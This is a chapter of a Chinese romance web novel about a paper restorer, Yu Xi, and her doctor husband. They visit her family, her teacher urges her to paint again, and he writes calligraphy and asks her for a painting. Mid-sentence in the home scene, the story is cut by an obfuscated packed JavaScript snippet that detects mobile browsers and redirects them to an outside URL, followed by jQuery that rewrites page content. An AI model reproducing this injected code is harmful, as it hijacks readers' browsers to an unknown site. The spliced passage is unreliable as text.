槐树的影子在地上拉的斜长，俞惜靠在陈靳白肩上，呼吸渐渐变得绵长均匀。手指还松松地搭在陈靳白掌心，指节微凉，脉搏一跳一跳地贴着他的手腕。
阳光在她脸上落下几片细碎的光斑，俞惜蹙了蹙眉，往他颈窝蹭了蹭，把脸埋进他衬衫领口。
梦里大概遇到了什么，攥着他的手突然收紧了一下，然后又慢慢松开。陈靳白握着她安抚，拇指在她手背上轻轻地蹭着。
那道疤痕已经很淡了，不仔细看几乎看不出来，但摸上去，微微凸起的地触感还在。他摸过很多次，闭着眼睛也能找到它的位置。
俞惜动了动，睫毛扫过他的颈窝，带起一阵微栗。她抬起头，眼睛还没完全睁开，目光涣散地落在他的下巴上。
“几点了？”她问。
“还早。”陈靳白说，“再睡会儿？”
她摇摇头，薄毯从身上滑落。几缕碎发从耳后散下来，垂在脸颊两侧。她抬手想去拢，手指还没碰到就被他接了过去。
指尖擦过耳廓，动作很轻。俞惜眯着眼乖巧的等着。
院里响起脚步声。王妈从后门探出头，看见两人坐在树下，笑着说：“梨汤好了，要不要喝？”
“要。”
俞惜应了一声，拉着陈靳白站起来。薄毯从膝上滑落，陈靳白顺手捞过，叠在藤椅边缘。
厨房里，沈曼卿正忙着分梨汤。银耳炖得软糯，汤色清透，几颗红枣浮在碗沿。
“醒啦？“沈曼卿招呼着，“正好，趁热喝。”
“谢谢妈。”
沈老爷子喝了一口汤，满意的点头：“今天的梨汤炖得好。”
“夫人盯了好久呢。”王妈说，“知道小惜来，还特地加了红枣。”
“好喝。”俞惜说。
沈曼卿目光还落在俞惜身上，嘴角带着笑，眼底却有一层薄薄的水光。
她很快低下头去，再抬起头的时候，眼里的水光已经不见了，只剩下笑意：“好喝就多喝点。秋天干燥，你在修复室一坐就是一天，要多喝汤水。”
“知道的，妈。”
沈老爷子放下碗，满足的靠在椅背上：“铭宇最近很忙吗？很久没看见他了。”
“他最近在瑞士，和周家的项目最近在收尾。”沈曼卿说。
“你妈在的时候常说，俞家的孩子不怕吃苦。铭宇像他爸，踏实。”
提起老太太，饭桌上安静了一瞬。沈老爷子神情没什么变化，目光落在院子里摇曳的老槐树上。
“这棵树，”他说，“还是你出生那年种的。”
俞惜顺着目光望过去。
沈老爷子对俞惜说：“你妈小时候身体不好，总咳嗽。你曾祖听说槐花蜜润肺，就移了这棵树种下。”
“一晃眼，惜惜都这么大了。”
“爸。”沈曼卿轻轻唤了一声。
“不说这个了。”沈老爷子摆摆手，“小语还在画室呢，你去看看。”
画室在一楼的最深处，光线最佳。俞惜推门进去的时候，沈曼语正站在画案前落笔。
俞惜没有出声，静静的站在她身侧。
画案上铺着一张新的宣纸，上面已经勾了几笔淡墨。
“闲着没事，画两笔。”沈曼语把笔搁在笔山上，“你来得正好，帮我看看。”
沈曼语的用笔俞惜再熟悉不过，可这几笔和她从前的都不一样。线条疏疏朗朗地横在纸面上，像是随手画的，看不出是什么。
“你小时候，每次看我画画都站得远远的。”
那时候，她刚去青山不久，做什么都小心翼翼。沈曼语画案上的纸笔、砚台，她碰都不碰，只敢远远地看着。
“后来，你跟着我学修复。你妈没少和我打听。”沈曼语停了一下，侧过头看俞惜。
“你选了一条更难的路。”
俞惜垂下眼：“还好，我觉得修复比画画容易。”
沈曼语看着她久久没有动作，过了好一会儿，才说：“远山图在卷筒里。”
说完，沈曼语重新拿起笔。笔尖悬在纸面上，落下一笔淡墨。
“你也很长时间没动笔了吧，下次来带一副画过来吧。”
俞惜站在画案前，看着墨水在宣纸上慢慢洇开。
“我——”俞惜张了张嘴，“我已经很久没画过了。”
沈曼语从笔山上取下一管小号的山马笔，在砚台边缘轻轻刮去余墨，在另一侧落下第三笔。三笔间有了呼应，就不再是孤零零的线条。
“修复大多是顺着别人的痕迹走，你走了太多年别人的路，该走走自己的路了。”
“这幅画，”俞惜忽然问，“您画的是什么？”
沈曼语搁下笔：“还没想好。”
俞惜愣了一下。她从没有见过沈曼语这样画画，从前她画什么都是有章法的。画山水先定主峰，画花鸟先定主枝，每一笔都有它的位置，每一处留白都有它的道理。
“很奇怪？”沈曼语看着她。
“年纪大了，不想再和笔墨较劲了。画成什么样就是什么样，画不成就画不成。一幅画而已，犯不着跟它过不去。”
“师傅。”俞惜说，“要是我画的很不好呢？”
“惜惜，你是我教的。”沈曼语笑。
俞惜安静地看了一会儿，然后拿着桌上的卷筒，轻轻掩上门。
从老宅出来的时候，太阳已缓缓西沉。归鸟从槐树枝头掠过，叫声清脆短促。沈曼卿站在门口，照例指挥着人往后备箱里塞东西。
“路上小心。”沈曼卿拍了拍俞惜，又对陈靳白说：“靳白，开车慢点。”
“知道了，妈。”
远山图横在膝上，俞惜只觉得沉甸甸的。陈靳白开着车没说话，只是偶尔在等红灯的时候转过头看她。
回到家，俞惜将它安置好，从笔挂上取下一支笔浸在清水。墨香一点一点散开，屯胡香气和纸香混在一起，充满了整个书房。
陈靳白站在书房门口，看着俞惜失神的研墨。
“在想什么？”陈靳白轻声问。
俞惜盯着面前铺好的宣纸，喃喃道：“你说，我要画什么呢？”
屯胡的墨色沉在砚台底，泛着细细的油光。
纸是上好的青檀皮纸，生宣，洇墨快，一笔下去就没有回头路。
她在修复室里处理过无数张这样的纸。补破洞、贴折痕、全色接笔……每一道工序她都做得来，但眼前这张纸是空白的。
“我还没见过你画画呢。”陈靳白走近，带着笑意。
手里的软毫已经浸透了，笔尖软软的聚成一簇。俞惜轻轻刮去多余的水分，蘸墨。
陈靳白看着，想起她在修复台上的样子，目光专注笃定，下笔干脆利落。而此刻笔尖凝聚的墨滴在重力牵引下微微发颤，可持笔人却悬腕未决。
陈靳白拢着她的手，把笔收回，轻轻刮掉那滴将落未落的墨。
“还没想好画什么。”俞惜低头，声音里带着少见的无措。
陈靳白的手掌覆在她的手背上，收拢住那丝悬而未决的犹豫。
“那就不画了。”他说，“不着急，总会有想画的时候。”
墨已经蘸好了，不用也可惜。俞惜耍脾气似的翻了掌心，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500947|202727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把笔塞到陈靳白手里。
陈靳白看着掌心的笔，愣了一下：“我不会画画。”
“你不是和外公学过书法吗？”
俞惜歪着头看他，刚才那股无措的劲儿反倒散了，眼睛里亮起一点好奇的光。
陈靳白无奈的笑，却也没再推辞。他把笔在砚台边舔了舔，动作藏不住的生疏，看来是真的很多年没有拿过毛笔了。
俞惜让出位置，看着那些字一个一个地从他笔下走出来。
四君子汤。
人参、白术、茯苓、甘草……
写的是药方，四味药四行，每行一味。君药起笔最重，臣药佐药依次轻下来，收笔的时候轻轻一提，像写完了一个句号。
字是行楷，算不上多好，但也没他说的那么差。笔画之间有筋有骨，是练过颜体留下的底子，只是多年不练，筋骨外没有好看的皮肉包裹，反而显得格外坦诚。
“我背会的第一个方子。”陈靳白放下笔，有些不好意思道：“一时之间我也不知道写些什么。”
“你现在还会用经常用这个方子吗？”她问。
“不会。”他摇头，“我是西医，开不了中药。”
俞惜小心地拎起那张纸，放在旁边的晾架上。
“四君子。”她念出声，“为什么叫四君子？”
“人参为君，白术为臣，茯苓为佐，甘草为使。”陈靳白走过来，站在她旁边，“四味药，性皆平和，不偏不倚。合在一起，补而不滞，温而不燥。”
他停了一下，目光从药方上移开，落在她脸上。
“君子之交淡如水，君子之药也淡如水。不争不抢，各司其职，合在一起却能扶正祛邪。”
俞惜脑海里不自觉地浮现出，小小的他一本正经背药方的样子。
“这张送我吧。”女孩笑着转头看他。
“这个写得不好。”陈靳白伸手想去收，被她拦住。
“挺好的。”俞惜说，“放修复台边，下次修到头疼的时候，看一眼，就当补气了。”
俞惜拿起笔洗里的另一支笔，重新蘸了墨。
“再写一张？”她问。
陈靳白接过笔，站在案前想了一会儿，重新蘸墨。
这次写的是端正的小楷。
俞惜看着自己的名字落在纸上，每一笔都控制得刚刚好。
“上一张送你，这一张我和你交换。”陈靳白认真的收完最后一笔。
“交换？”
“惜惜，送我一副画吧。画什么都可以，只要是为我画的。”
陈靳白站在案前，手里还握着那管笔，目光落在纸上。墨色未干，“俞惜”两个字在灯光下泛着湿润的光泽。
他说的时候，有些不好意思看她。但那些小心思从“青梅竹马”开始就没变过，他也不想藏。
“画什么都可以？”她问。
“画什么都可以。”
“那要是，不小心画坏了呢？”
陈靳白把笔搁在笔山上，转过身看她。眼底的笑意漫出来：“可以，都可以。我只要为我画的，好的坏的都不在意，只要是你画的。”
她把那张写着“俞惜”的纸小心地拎起来，放在晾架上，和自己的那张“四君子汤”并排晾着。两张纸一大一小，一张是行楷药方，一张是小楷名字，墨色浓淡不一，笔画优劣分明，但并排放在一起，却奇异的和谐。
“那我得想想。”俞惜直起腰，看着晾架上的两张纸，“画什么，怎么画，用什么纸，用什么墨——你得等。”
“我等。”陈靳白说，“我乐意等，多久都愿意。”